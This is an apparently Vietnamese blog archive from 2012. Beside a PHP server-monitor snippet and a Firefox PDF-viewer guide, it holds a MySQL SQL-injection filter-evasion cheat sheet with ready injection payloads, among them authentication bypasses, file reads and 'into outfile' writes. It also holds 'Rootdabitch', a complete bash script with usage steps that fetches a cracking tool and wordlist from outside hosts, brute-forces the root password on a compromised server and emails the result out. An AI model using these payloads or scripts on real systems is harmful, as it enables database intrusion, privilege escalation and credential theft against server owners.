Monday, September 10, 2012

PHP Script - kiểm tra tình trạng server và gửi email thông báo khi server down


Script này giúp kiểm tra tình trạng server, service xem nó có đang hoạt động hay không

Ví dụ đoạn code mẫu
<?php 

include("servermonitor.php");
$Monitor = new ServerMonitor();
$Monitor->add("Local server", "sinhvienit.net", 80);

echo $Monitor->run(true);

?>
Ở đây chúng ta sẽ gọi đến lớp ServerMonitor được định nghĩa trong file servermonitor.php

$Monitor->add("Local server", "sinhvienit.net", 80); 
Bạn có thể add nhiều server để kiểm tra cùng lúc. số 80 là cổng của dịch vụ đang chạy cần kiểm tra, thay vì điền domain bạn cũng có thể thay bằng IP của server

$Monitor->setEmail("yourmail@gmail.com"); 
Khi server offline, script này sẽ gửi email thông báo đến bạn.
foreach($results as $result){
    $status = $result->active ? "Online" : "Offline";
    echo $result->name . ': <strong>' . $status . '</strong><br />';
}
Chạy vòng lặp để xuất ra kết quả tình trạng server

// Bạn nào thích thì có thể phát triển thêm để script có thể tự động kiểm tra

Bật tính năng đọc PDF cho Firefox 15

Mozilla Firefox 15 vừa mới được phát hành cách đây không lâu với hàng loạt tính năng mới. Nếu trước đây Google Chrome tự hào là trình duyệt kiêm trình đọc PDF thì giờ đây Firefox cũng làm được như thế. Trong phiên bản 15 vừa được phát hành Mozilla đã cải tiến và thêm vào tính năng đọc các tập tin PDF ngay trên trình duyệt Firefox với sự hỗ trợ của Flash. Đừng vội mừng vì tính năng này mặc định vẫn chưa được kích hoạt, do đó nếu người dùng muốn sử dụng tính năng này thì phải trải qua vài bước thiết lập cũng tương đối đơn giản. Cách làm như sau:

Đầu tiên bạn phải chắc chắn là trình duyệt Firefox bạn đang dùng là phiên bản 15, bạn có thể tải về cài đặt từ trang chủ của Mozilla hoặc Filehippo hoặc cập nhật tự động từ cửa sổ About của Firefox.




Khi đã cập nhật lên phiên bản Mozilla Firefox 15 rồi thì bạn trên thành address của Firefox, bạn nhập vào dòng lệnh about:config , chú ý rằng sau khi nhấn enter để thực thi câu lệnh trên thì sẽ có một thông báo về mối nguy hiểm khi thiết lập thì bạn nhấn vào I’ll be carefull, I promise! để tiếp tục.



Tại đây có rất nhiều thiết lập, để cho thuận tiện bạn nên sử dụng tính năng tìm kiếm để tìm nhanh hơn, tại ô tìm kiếm bạn nhập vào từ khoá pdfjs.disabled rồi nhấp phải chuột vào kết quả tìm kiếm chọn Toggle chuyển giá trị Value từ True thành False.



Bạn làm tương tự với từ khoá browser.preferences.inContent và chuyển giá trị Value từ False thành True.



Như vậy tính năng xem file PDF đã được bật thành công. Khi bạn nhấn vào một liên kết có phần mở rộng .pdf Firefox sẽ mở trực tiếp tập tin đó ngay trong trình duyệt mà không cần sử dụng thêm các phần mềm nào khác.

Trường hợp máy bạn có cài đặt một ứng dụng hỗ trợ download thì bạn nên loại bỏ định dạng PDF ra khỏi danh sách bắt link để tránh trường hợp ứng dụng này sẽ bắt link và tải về thay vì đọc trực tiếp trên Firefox.

Chúc bạn thành công!


Tham khảo Genk

Tuesday, September 4, 2012

SQLi filter evasion cheat sheet

SQLi filter evasion cheat sheet (MySQL)
Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_s chema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61′

Strings without quotes
‘abc’ = 0×616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ’1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ’1 # or true

Compare operator typecasting
select * from users where ‘a’='b’='c’
select * from users where (‘a’='b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-’
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users
Function filter

General function filtering
ascii (97)
load_file/*foo*/(0×616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36 ))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.col lations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space( 0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,'abc’)
position(‘a’,'abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,'a’)
substring_index(‘ab’,'b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,'a’)
mod(‘a’,'a’)
find_in_set(‘a’,'a’)
field(‘a’,'a’)
count(concat(‘a’,'a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)
Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0′union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-’

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a'))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoo t’,(load_file(‘file’)))+length(‘DocumentRo ot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=� �a',1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’='a’ then 1 [else 0] end
if(‘a’='a’,1,0)
ifnull(nullif(‘a’,'a’),1)

Nguồn:
http://websec.wordpress.com/2010/12/...t-sheet-mysql/

Share code Firefox's Start Page (đẹp)

Demo ảnh:
http://i942.photobucket.com/albums/ad269/juno_okyo/Juno_okyo%20Blog/1-1-200612-23-05AM.png
Demo online:
http://www.ghostclub.info/code/firefox/
 Download:
http://www.mediafire.com/?g1sb5zgqlntysow
Pass Unlock:
junookyo
P/S: Code này RIP ở Firefox (thấy đẹp nên zip chơi). Đã edit, thêm đoạn code check khung search (ko nhập gì mà ENTER sẽ hiện alert). Thích hợp làm trang home, có thể sửa các URL ở khung button phía dưới! Nói chung là code đẹp :D.

Wednesday, August 29, 2012

Get root password [Brute Force]

Rootdabitch version 0.1 - Multithreaded Linux root password Bruteforcer

r00tw0rm hacker "th3breacher!" release Rootdabitch v0.1 ,which is a Multithreaded Linux/UNIX tool to brute-force cracking local root through su using sucrack.

sucrack is a multithreaded Linux/UNIX tool for brute-force cracking local user accounts via su. The main feature of the Rootdabitch is that It's local brute forcer, using 10 passwords in 3 seconds. and works in background so you can leave it , when root is cracked it will email the user using /bin/mail .

All for this, you need to have a php shell/reverse shell/ssh access to the target to run thistool and run it as a normal user, Upload this script into it and give it the execution permission and execute the script like:

~ ./rootdabitch youremail@address.com  

If the password is cracked you will have a mail with the root password and the password will be stored into password.txt . Try it !

Download : http://rootdabitch.googlecode.com/fi...abitch-0.1.zip

Anh em thảo luận

Nguồn: http://thehackernews.com/2012/04/roo...ithreaded.html

======
Dịch:
Nôm na là Script này crack password của root bằng cách Bruteforcer với 3 giây dc 10 passwords.

Để sử dụng cần có 1 shell trên server cho phép chạy command.

Upload file này lên site hoặc download nó về bằng lệnh



PHP Code:
wget  http://rootdabitch.googlecode.com/files/rootdabitch-0.1.zip 
Sau đó giải nén bằng lệnh


PHP Code:
unzip rootdabitch-0.1.zip 
Trao quyền thực thi cho file rootdabitch.sh bằng 1 trong 2 lệnh


PHP Code:
chmod +x rootdabitch.sh 
PHP Code:
chmod 755 rootdabitch.sh 
Sau đó thực hiện chạy script này với cú pháp


PHP Code:
./rootdabitch.sh tên_email 
Nếu crack thành công nó sẽ send password của root về email cho mình.

Code luôn, chỉ việc chmod and run:
 

#!/bin/bash

# R00TW0RMs (https://www.r00tw0rm.com/)
#-------------------------------------|------------------------------------------#
# ( )_ ( ) ( ) _ ( )_ ( )
# _ __ _ _ | ,_) _| | _ _ | |_ (_)| ,_) ___ | |__
#( '__)/'_`\ /'_`\ | | /'_` | /'_` )| '_`\ | || | /'___)| _ `\
#| | ( (_) )( (_) )| |_ ( (_| |( (_| || |_) )| || |_ ( (___ | | | |
#(_) `\___/'`\___/'`\__)`\__,_)`\__,_)(_,__/'(_)`\__)`\____)(_) (_)
# This was written for educational purpose and pentest only.
# Use it at your own risk. Author will be not responsible for any damage!
# Coder : th3breacher |th3breacher.wordpress.com|
# Version : 0.1
# Greetz : Inj3ct0r Team (1337day.com)
#-------------------------------------|------------------------------------------#
#Sucrack and wordlist links could be changed to a suitable one !
sucracklink="http://dl.dropbox.com/u/65302835/sucrack"
wordlistlink="http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2"
wordlistcompressedname="rockyou.txt.bz2"
wordlistname="rockyou.txt"
threads=10
#-------------------------------------|------------------------------------------#
email=$1

mynohup(){
# Close stdin, and make any read attempt an error
if [ -t 0 ]
then
exec 0>/dev/null
fi

# Redirect stdout to a file if it's a TTY
if [ -t 1 ]
then
exec 1>nohup.out
if [ $? -ne 0 ]
then
exec 1>$HOME/nohup.out
fi
fi

# Redirect stderr to stdout if it's a TTY
if [ -t 2 ]
then
exec 2>&1
fi

# Trap the HUP signal to ignore it
trap : HUP
}

downloadthatdic ()
{
echo -ne "[+] Downloading the wordlist from $wordlistlink\n"
wget $wordlistlink
bunzip2 $wordlistcompressedname
}
downloadsucrack ()
{
echo -ne "[+] Downloading sucrack from $sucracklink\n"
wget $sucracklink
chmod +x sucrack
}
action_send_mail_done()
{
SUBJECT="rootdabitch cracked password"
# Email To ?
EMAIL=$1
# Email text/message
EMAILMESSAGE="password.txt"
# send an email using /bin/mail
mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE

}
action_send_mail_undone()
{
SUBJECT="rootdabitch :("
# Email To ?
EMAIL=$1
# Email text/message
EMAILMESSAGE="password2.txt"
echo "failed..."> $EMAILMESSAGE
# send an email using /bin/mail
mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE

}

crackthatmofo ()
{
echo -ne "[+] Cracking with 10 threads..."
#You can change the threads number as you wish , just make sure it doesnt crash the server :)
./sucrack -w $threads $wordlistname | grep "password is:" >password.txt
if [-f "password.txt"]; then
action_send_mail_done $email
else
action_send_mail_undone $email
fi
}
cleanup ()
{
echo -ne "[+] Cleaning up..."
rm -f $wordlistcompressedname
rm -f $wordlistname
rm -f sucrack
}

#Main starts here
echo -ne "[+] Wait ! .. have patience=)\n"
mynohup
downloadsucrack
downloadthatdic
crackthatmofo
cleanup

Popular Posts